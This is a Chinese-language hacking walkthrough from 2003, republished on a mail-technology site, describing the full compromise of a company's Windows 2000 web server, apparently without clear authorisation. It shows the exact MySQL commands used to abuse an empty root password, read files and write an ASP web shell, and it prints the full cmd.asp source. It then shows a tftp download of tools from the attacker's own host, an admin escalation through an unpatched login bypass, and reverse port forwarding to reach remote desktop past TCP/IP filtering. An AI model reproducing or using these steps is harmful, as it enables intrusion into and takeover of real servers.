首页 | 邮件资讯 | 技术教程 | 解决方案 | 产品评测 | 邮件人才 | 邮件博客 | 邮件系统论坛 | 软件下载 | 邮件周刊 | 热点专题 | 工具
网络技术 | 操作系统 | 邮件系统 | 客户端 | 电子邮箱 | 反垃圾邮件 | 邮件安全 | 邮件营销 | 移动电邮 | 邮件软件下载 | 电子书下载

邮件网络安全

系统安全 | 邮件软件漏洞 | 攻防技术 | 安全基础 | 病毒公告 | 病毒查杀 | Forefront/TMG/ISA | 防火墙 | 数字签名 |
首页 > 邮件网络安全 > 攻防技术 > 黑客入侵Win2K Server全过程详解 > 正文

黑客入侵Win2K Server全过程详解

出处:www.5dmail.net 作者:5dmail 时间:2003-10-4 12:25:00

某天晚上在IRC的时候,一个老朋友说帮他看看他的新主页的安全性,然后给出URL是abc.target.net,我一看觉得挺眼熟的,target.net公司里面的CEO,人事部经理,网管我都认识的,前段时间还差点去了那里做网管呢,呵呵,那就看看他们的服务器做的如何吧。

 

  随后用nmap扫描了一下abc.target.net,发现开的端口挺多的,看来没有安装防火墙或做TCP/IP过滤。从IIS版本判断是Windows 2000的服务器。IIS没什么好利用的,一看开了3306端口,是mysql的,就用我的mysql客户端尝试连接了一下,root的密码竟然为空,后来就觉得没有多大意思,于是把目标转到www.target.net,他们的主站,哈哈。

 

  Ok!先用nmap扫描一下,扫描结果如下:

  25/tcp open smtp

  53/tcp open domain

  80/tcp open http

  110/tcp open pop-3

  389/tcp open ldap

  1002/tcp open unknown

  3306/tcp open mysql

 

  然后从IIS版本判断目标是windows 2000服务器。从开放的端口来看,它要么是安装了防火墙,要么是做了TCP/IP过滤,呵呵,比abc.target.net有意思多了。从25和110端口返回的数据来看,他们用的邮件服务器是IMail 6.04,没什么可利用的。IIS上面网管做了安全配置,一些默认的CGI漏洞也没有,这也没什么好利用的。只剩下最后一个端口了,习惯性的用我的mysql客户端连接试试:

 

  F:\cmd>mysql -u root -h www.target.net

  Welcome to the MySQL monitor. Commands end with ; or \g.

  Your MySQL connection id is 3038 to server version: 3.23.21-beta

  Type 'help;' or '\h' for help. Type '\c' to clear the buffer

  mysql>

 

  呵呵,不好意思,看来网管没有给mysql帐号root设置一个密码,是默认的空密码,那么我们就可以利用这个漏洞来做点什么了。如果是MS-SQL数据库的话就好办啦,直接可以用xp_cmdshell来运行系统命令,但是可惜的是mysql没有类似MS-SQL那样的扩展存储过程。

 

  现在我们可以利用这个漏洞来做三件事情:

 

<1>搜索mysql数据库里面的内容,看能不能找出一些有用的敏感信息,我找了一会儿就不想找了,呵呵

 

<2>读取服务器上的任何文件,当然前提是知道文件的物理路径

 

<3>以启动mysql服务用户的权限往服务器上写文件,前提是这个文件要不存在的,就是说不能覆盖文件

 

  如果我们知道IIS主目录的物理路径的话,我们就可以往上面写一个ASP上去,然后通过IE来执行系统命令。怎么得到IIS目录的物理路径呢?天知道!

 

  没办法,猜吧。。。。。。先在mysql默认数据库test中建一个表tmp,这个表只有一个字段str,类型为TEXT,

 

  mysql> use test;create table tmp(str TEXT);

  Database changed

  Query OK, 0 rows affected (0.05 sec)

 

  然后凭着自己做网管的直觉,开始猜测IIS主目录的物理路径,c:\inetpub\wwwroot,c:\www,c:\wwwroot,c:\inetpub\web,d:\web,d:\wwwroot,都不对,55555。大概猜测到第10次,我的mysql客户端回显信息如下:

 

mysql> load data infile "d:\\www\\gb\\about\\about.htm" into table tmp;

Query OK, 235 rows affected (0.05 sec)

Records: 235 Deleted: 0 Skipped: 0 Warnings: 0

 

  哈哈哈,猜中了,IIS主目录的物理路径是d:\www,因为上面的文件的虚拟路径是http://www.target.net/gb/about/about.htm,看来我得到一个shell了,呵呵。

 

  接下来我们就可以往d:\www\gb\about里面写一个ASP文件进去,然后通过http://www.target.net/gb/about/cmd.asp来执行系统命令了。然后在网上找来一个现成的cmd.asp,懒的自己去写了:)。Cmd.asp如下:

 

<FONT color=#666666>-------------------------------cmd.asp----------------------------------------

<% Dim oScript

Dim oScriptNet

Dim oFileSys, oFile

Dim szCMD, szTempFile

On Error Resume Next

Set oScript = Server.CreateObject(""WSCRIPT.SHELL"")

Set oScriptNet = Server.CreateObject(""WSCRIPT.NETWORK"")

Set oFileSys = Server.CreateObject(""Scripting.FileSystemObject"")

 

szCMD = Request.Form("".CMD"")

If (szCMD <> """") Then

szTempFile = ""C:\" & oFileSys.GetTempName()

Call oScript.Run (""cmd.exe /c "" & szCMD & ""

> "" & szTempFile, 0, True)

Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

End If %>

<FORM action="" <%='Request.ServerVariables(""URL"")' %>"" method=""POST""&gt;<BR><INPUT name="" size=45 <%="szCMD" % .CMD??>""&gt;<INPUT type=submit value=提交查询内容 Run??></FORM><PRE>

<% If (IsObject(oFile)) Then

On Error Resume Next

Response.Write Server.HTMLEncode(oFile.ReadAll)

oFile.Close

Call oFileSys.DeleteFile(szTempFile, True)

End If%>

 

----------------------------end of cmd.asp-----------------------------------</FONT>

 

  由于往mysql数据库中插入数据的时候,会过滤特殊字符什么的,例如双引号之类的,特别麻烦。各位留意没有,上面的ASP语句中,都是两个双引号一起的,这样才能写进去,原来是一个双引号的。然后我在数据库中再建一个表:

 

mysql> use test;create table cmd(str TEXT);

Database changed

Query OK, 0 rows affected (0.05 sec)

 

  然后用如下语句,一句一句把上面的ASP写进去:

 

mysql> insert into cmd values("一行一行的asp代码,呵呵");

 

  为什么不全部一起写进去呢?呵呵,换行后,一会儿导出的文件就会有特殊字符了,asp就不能正常运行了,只能辛苦点一行一行写了。然后把asp文件导到服务器上:

 

mysql>select * from cmd into outfile "d:\\www\\gb\\abou\\cmd.asp";

 

  然后把我们刚才建的表都删除掉:

 

mysql> use test; drop table tmp; drop table cmd;

 

  ok!我们得到一个shell了,虽然权限不高,但毕竟已经向取得admin权限迈出一大步了,不是吗,呵呵。做这个asp文件可花了我不少时间哦。现在我们利用这个shell来收集系统信息,尝试取得admin权限。

 

<1>先看一下系统文件权限设置如何:

c:\ Everyone:(OI)(CI)F

d:\ \xxx:(OI)(CI)(DENY)(特殊访问:)

DELETE

READ_CONTROL

WRITE_DAC

WRITE_OWNER

STANDARD_RIGHTS_REQUIRED

FILE_READ_DATA

FILE_WRITE_DATA

FILE_APPEND_DATA

FILE_READ_EA

FILE_WRITE_EA

FILE_EXECUTE

FILE_DELETE_CHILD

FILE_READ_ATTRIBUTES

FILE_WRITE_ATTRIBUTES

 

Everyone:(OI)(CI)F

 

  看来我们现在就可以读写硬盘上的任何文件了,现在就可以改他的首页了,但这样做没意思,对不对,我们的目标是取得admin权限,呵呵。

 

<2>然后搜索一下硬盘上都有些什么文件:

 

  c:\Program Files 的目录下有两个比较有意思的文件,

 

2000-12-19 13:10

Serv-U

2001-01-20 22:43

绿色警戒

 

  把Serv-U里面的用户和密码读出来看看后,没有什么用处,然后进入绿色警戒目录看看,呵呵,除了log外,什么都没有,呵呵。

 

<3>再看看都有哪些用户:

 

Guest IUSR_SERVER_1 IUSR_SERVER-2

IWAM_SERVER_1 IWAM_SERVER-2 ceo[他们CEO的帐号J]

TsInternetUser

 

  管理员有ceo 和target\Domain Admins,看来这台机器是他们域中的一台服务器。开始本来想给ceo下一个套,在他的启动目录里放一个程序,但后来看到这个帐号已经几个月没登陆了,就放弃了。

 

<4>看看启动了那些服务,这几个比较有意思, 看来都是默认的:

 

Task Scheduler

Simple Mail Transport Protocol (SMTP)

Task Scheduler

 

<5>看看网络状况,这几个比较有意思:

 

TCP 0.0.0.0:21 0.0.0.0:0 LISTENING

TCP 0.0.0.0:119 0.0.0.0:0 LISTENING

TCP 192.168.1.3:3389 0.0.0.0:0 LISTENING

 

  看来有TermService,不过在网卡上做了TCP/IP过滤,只对内网开放,那么我们就来

 

<6>看看网卡设置信息:

 

Ethernet adapter 本地连接:

Connection-specific DNS Suffix . :

Description . . . . . . . . . . . : Realtek RTL8139(A) PCI Fast Ethernet Adapter

Physical Address. . . . . . . . . : 00-E0-4C-68-C4-B2

DHCP Enabled. . . . . . . . . . . : No

IP Address. . . . . . . . . . . . : 192.168.1.3

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . :

DNS Servers . . . . . . . . . . . :

Ethernet adapter 本地连接 2:

Connection-specific DNS Suffix . :

Description . . . . . . . . . . . : Realtek RTL8139(A) PCI Fast Ethernet Adapter#2

Physical Address. . . . . . . . . : 00-E0-4C-68-B8-FC

DHCP Enabled. . . . . . . . . . . : No

IP Address. . . . . . . . . . . . :xxx

Subnet Mask . . . . . . . . . . . :

Default Gateway . . . . . . . . . :

 

  经过上面的一些步骤,对这台服务器的设置情况就有了一个大概的了解。如何取得admin权限?netdde?pipeupadmin?呵呵,无法利用,没有可利用的可以登陆的用户。下套?等到什么时候,呵呵。

 

  Okok!让我们来看看这个系统都打了些什么补丁。怎么查看?呵呵,打了补丁后,信息都会存贮在注册表中,查询注册表中的这个键值就行了:"HKLM\Software\Microsoft\Windows NT\CurrentVersion\hotfix",这样的话,我们得上传一个reg.exe[M$ Resource Kit中的命令行注册表编辑器]到服务器里面,我们才能操作他的注册表。开始我想用先写一个ftp脚本,然后ftp -s:cmd.txt让他到我的服务器来下载,但结果失败了,后来才想起他做了TCP/IP过滤,5555,我记性真不好。怎么办呢?有办法,用tftp来传输。我先在我的服务器上安装了一个Cisco TFTP Server,然后在目标机器上运行tftp -I www.eyas.org GET reg.exe,呵呵,传输过去咯。然后运行

REG QUERY "HKLM\Software\Microsoft\Windows NT\CurrentVersion\hotfix"

 

  返回数据如下:

Listing of [Software\Microsoft\Windows NT\CurrentVersion\hotfix]

 

[Q147222]==>这个不知道是什么东西,好象默认2k机器上都有

[Q269862]==>Q269862_W2K_SP2_x86_CN.EXE==>Microsoft IIS Unicode解码目录遍历漏洞!

[Q277873]==>Q277873_W2K_sp2_x86_CN.EXE==>Microsoft IIS CGI文件名检查漏洞!

 

  呵呵,==>和后面的说明是我加上去的,不是注册表中的。看来管理员不太勤快啊,只打了两个补丁。

 

  哈哈!到了这一步,大家想到怎么取得admin权限了吗?呵呵,你一定也想到了,他的机器开了TermService服务,但windows2000登陆验证可被绕过的漏洞没有安装补丁,此补丁为Q270676_W2K_SP2_x86_CN.EXE。由此看来,管理员只是删除了帮助法文件,而没有打补丁。用dir c:\winnt\help\win*验证一下,果然没有熟悉的输入法帮助文件。敌人没有输入法,我们帮他造,hoho~~别忘了我们可以往任何地方写文件哦。

 

  嘻嘻,咱们也别高兴的太早了,别忘了他的机器做了TCP/IP过滤哦,我们是没有办法连接到他的3389端口的。不要着急,不要着急,让我们先来看看他的TCP/IP过滤的设置情况。怎么看呢?老办法,查看注册表里面的键值啦。用刚才的reg.exe查询

 

<1>reg QUERY "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces"

Listing of [System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces]

[{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}]

[{612A3142-DB85-4D4E-8028-81A9EB4D6A51}]

 

<2>reg QUERY "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\

{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}"

Listing of [System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\

{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}]

MULTI_SZ IPAddress ;

MULTI_SZ TCPAllowedPorts 25;53;80;110;3306;

MULTI_SZ UDPAllowedPorts 0;

MULTI_SZ RawIPAllowedProtocols 0;

 

<3>reg QUERY "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\

{612A3142-DB85-4D4E-8028-81A9EB4D6A51}"

Listing of [System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\

{612A3142-DB85-4D4E-8028-81A9EB4D6A51}]

MULTI_SZ IPAddress 192.168.1.3;

MULTI_SZ TCPAllowedPorts 0;

MULTI_SZ UDPAllowedPorts 0;

MULTI_SZ RawIPAllowedProtocols 0;

 

  篇幅关系,我过滤了一些输出。第二次查询的是外网网卡,我们可以得知只开放了TCP 25,53,80,110,3306,UDP全部,IP协议全部。第三次查询的是内网网卡,没有任何限制。

现在我们可以把输入法帮助文件上传到他的c:\winnt\help目录下去,然后如果能连接到他的3389端口的话,我们就可以得到admin权限了。问题的关键是外网网卡做了TCP/IP限制。55555,怎么办呢?如何突破?有办法!我们可以利用socket转发和反弹端口技术,照样可以连接到敌人的TermService!

 

具体过程如下:

 

<1>在我的另一台服务器www.eyas2.org[我称他为AgentMaster]上运行一个程序,监听3389端口[等待我的TermClient去连接],监听11111端口[等待www.target.net来连接],当然了,第2个端口可以随便选,第1个端口选其他的话,就要相应的修改TermClient,比较麻烦

 

<2>在www.target.net[我称他为AgentSlave]运行另外一个程序, 先连接到www.eyas2.org:11111,再连接到192.168.1.3:3389[敌人服务器内网的IP]

 

<3> 我的TermClient连接到www.eyas2.org:3389,这样,数据通道就全部建立好了。接下来,两个程序就忠实的为我们转发数据了。

注意:www.eyas2.org和www.eyas.org可以为同一台服务器,但要保证www.target.net能connect上你的服务器。192.168.1.3也可以换为他内网的任何一个IP。这样,当我用TermClient连接到www.eyas2.org的时候,其实是连接到www.target.net。当熟悉的登陆界面出现在我面前,我熟练的调出输入法,取得admin权限,呵呵,心里还有那么一点点成就感!

 

  关于<利用socket转发和反弹端口技术突破防火墙进入内>的详细说明和程序原代码解读请参见我另一篇文章。

 

  简要的回顾一下:发现mysql漏洞==>凭直觉猜中IIS物理路径==>写一个cmd.asp文件上去得到一个shell==>利用系统配置错误取得admin权限接下来要做的事情,就是把漏洞通知他们的网管了[我可不敢直接告诉他们CEO,呵呵],本来想在那机器上装个sniff什么的,再用来做跳板进一步尝试入侵他的内网,但后来想想还是算了,呵呵。

相关文章 热门文章
  • 2010年网络安全趋势分析:不对等博弈
  • 网络安全将进入网络接入控制时代
  • 网络地址转换在网络安全中的应用
  • 揭秘网络安全两大杀手:垃圾邮件和恶意软件
  • 专家谈如何在旅行中保护Email安全
  • 网络安全—金融机构立命之本
  • 用GFI来维护网络安全
  • 无线网络安全 发射功率设置不容忽视
  • 网络安全的潜规则
  • 学术前沿:无线网络安全性的研究
  • 网友破译密码 女白领裸照外泄拷问网络安全
  • 什么是网络安全中的“DMZ”?
  • 宽带ADSL密码破解大全
  • ADSL帐号被盗处理全程
  • 流行的漏洞入侵(一)
  • IE主页被强行修改的解决办法
  • 教你怎样轻松破解密码
  • QQ被盗的原因及防范手段
  • 五种windows密码设置及破解
  • IIS的十七个常见漏洞
  • 揭秘盗取QQ密码木马
  • 12种常用密码破解方法详解
  • 破解email账号的方法(菜鸟篇)
  • MAC地址全接触之豪“夺”
  • 自由广告区
     
    最新软件下载
  • SharePoint Server 2010 部署文档
  • Exchange 2010 RTM升级至SP1 教程
  • Exchange 2010 OWA下RBAC实现的组功能...
  • Lync Server 2010 Standard Edition 标..
  • Lync Server 2010 Enterprise Edition...
  • Forefront Endpoint Protection 2010 ...
  • Lync Server 2010 Edge 服务器部署文档
  • 《Exchange 2003专家指南》
  • Mastering Hyper-V Deployment
  • Windows Server 2008 R2 Hyper-V
  • Microsoft Lync Server 2010 Unleashed
  • Windows Server 2008 R2 Unleashed
  • 今日邮件技术文章
  • 腾讯,在创新中演绎互联网“进化论”
  • 华科人 张小龙 (中国第二代程序员 QQ...
  • 微软推出新功能 提高Hotmail密码安全性
  • 快压技巧分享:秒传邮件超大附件
  • 不容忽视的邮件营销数据分析过程中的算..
  • 国内手机邮箱的现状与未来发展——访尚..
  • 易观数据:2011Q2中国手机邮箱市场收入..
  • 穿越时空的爱恋 QQ邮箱音视频及贺卡邮件
  • Hotmail新功能:“我的朋友可能被黑了”
  • 入侵邻居网络发骚扰邮件 美国男子被重..
  • 网易邮箱莫子睿:《非你莫属》招聘多过..
  • 中国电信推广189邮箱绿色账单
  • 最新专题
  • 鸟哥的Linux私房菜之Mail服务器
  • Exchange Server 2010技术专题
  • Windows 7 技术专题
  • Sendmail 邮件系统配置
  • 组建Exchange 2003邮件系统
  • Windows Server 2008 专题
  • ORF 反垃圾邮件系统
  • Exchange Server 2007 专题
  • ISA Server 2006 教程专题
  • Windows Vista 技术专题
  • “黑莓”(BlackBerry)专题
  • Apache James 专题
  • 分类导航
    邮件新闻资讯:
    IT业界 | 邮件服务器 | 邮件趣闻 | 移动电邮
    电子邮箱 | 反垃圾邮件|邮件客户端|网络安全
    行业数据 | 邮件人物 | 网站公告 | 行业法规
    网络技术:
    邮件原理 | 网络协议 | 网络管理 | 传输介质
    线路接入 | 路由接口 | 邮件存储 | 华为3Com
    CISCO技术 | 网络与服务器硬件
    操作系统:
    Windows 9X | Linux&Uinx | Windows NT
    Windows Vista | FreeBSD | 其它操作系统
    邮件服务器:
    程序与开发 | Exchange | Qmail | Postfix
    Sendmail | MDaemon | Domino | Foxmail
    KerioMail | JavaMail | Winwebmail |James
    Merak&VisNetic | CMailServer | WinMail
    金笛邮件系统 | 其它 |
    反垃圾邮件:
    综述| 客户端反垃圾邮件|服务器端反垃圾邮件
    邮件客户端软件:
    Outlook | Foxmail | DreamMail| KooMail
    The bat | 雷鸟 | Eudora |Becky! |Pegasus
    IncrediMail |其它
    电子邮箱: 个人邮箱 | 企业邮箱 |Gmail
    移动电子邮件:服务器 | 客户端 | 技术前沿
    邮件网络安全:
    软件漏洞 | 安全知识 | 病毒公告 |防火墙
    攻防技术 | 病毒查杀| ISA | 数字签名
    邮件营销:
    Email营销 | 网络营销 | 营销技巧 |营销案例
    邮件人才:招聘 | 职场 | 培训 | 指南 | 职场
    解决方案:
    邮件系统|反垃圾邮件 |安全 |移动电邮 |招标
    产品评测:
    邮件系统 |反垃圾邮件 |邮箱 |安全 |客户端
    广告联系 | 合作联系 | 关于我们 | 联系我们 | 繁體中文
    版权所有:邮件技术资讯网©2003-2010 www.5dmail.net, All Rights Reserved
    www.5Dmail.net Web Team   粤ICP备05009143号